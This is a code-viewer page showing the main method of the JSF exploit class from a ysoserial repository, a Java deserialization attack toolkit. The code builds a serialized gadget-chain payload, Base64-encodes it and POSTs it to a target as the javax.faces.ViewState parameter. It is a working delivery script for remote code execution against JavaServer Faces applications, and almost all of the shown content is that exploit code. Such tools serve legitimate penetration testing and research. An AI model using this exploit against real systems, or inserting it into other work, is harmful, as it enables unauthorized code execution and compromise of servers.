MCPcopy Create free account
hub / github.com/Y4er/ysoserial / main

Method main

src/main/java/ysoserial/exploit/JSF.java:35–73  ·  view source on GitHub ↗
(String[] args)

Source from the content-addressed store, hash-verified

33public class JSF {
34
35 public static void main(String[] args) {
36
37 if (args.length < 3) {
38 System.err.println(JSF.class.getName() + " <view_url> <payload_type> <payload_arg>");
39 System.exit(-1);
40 }
41
42 final Object payloadObject = Utils.makePayloadObject(args[1], args[2]);
43
44 try {
45 URL u = new URL(args[0]);
46
47 URLConnection c = u.openConnection();
48 if (!(c instanceof HttpURLConnection)) {
49 throw new IllegalArgumentException("Not a HTTP url");
50 }
51
52 HttpURLConnection hc = (HttpURLConnection) c;
53 hc.setDoOutput(true);
54 hc.setRequestMethod("POST");
55 hc.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
56 OutputStream os = hc.getOutputStream();
57
58 ByteArrayOutputStream bos = new ByteArrayOutputStream();
59 ObjectOutputStream oos = new ObjectOutputStream(bos);
60 oos.writeObject(payloadObject);
61 oos.close();
62 byte[] data = bos.toByteArray();
63 String requestBody = "javax.faces.ViewState=" + URLEncoder.encode(Base64.encodeBase64String(data), "US-ASCII");
64 os.write(requestBody.getBytes("US-ASCII"));
65 os.close();
66
67 System.err.println("Have response code " + hc.getResponseCode() + " " + hc.getResponseMessage());
68 } catch (Exception e) {
69 e.printStackTrace(System.err);
70 }
71 Utils.releasePayload(args[1], payloadObject);
72
73 }
74
75
76}

Callers

nothing calls this directly

Calls 5

makePayloadObjectMethod · 0.95
releasePayloadMethod · 0.95
openConnectionMethod · 0.80
closeMethod · 0.45
writeMethod · 0.45

Tested by

no test coverage detected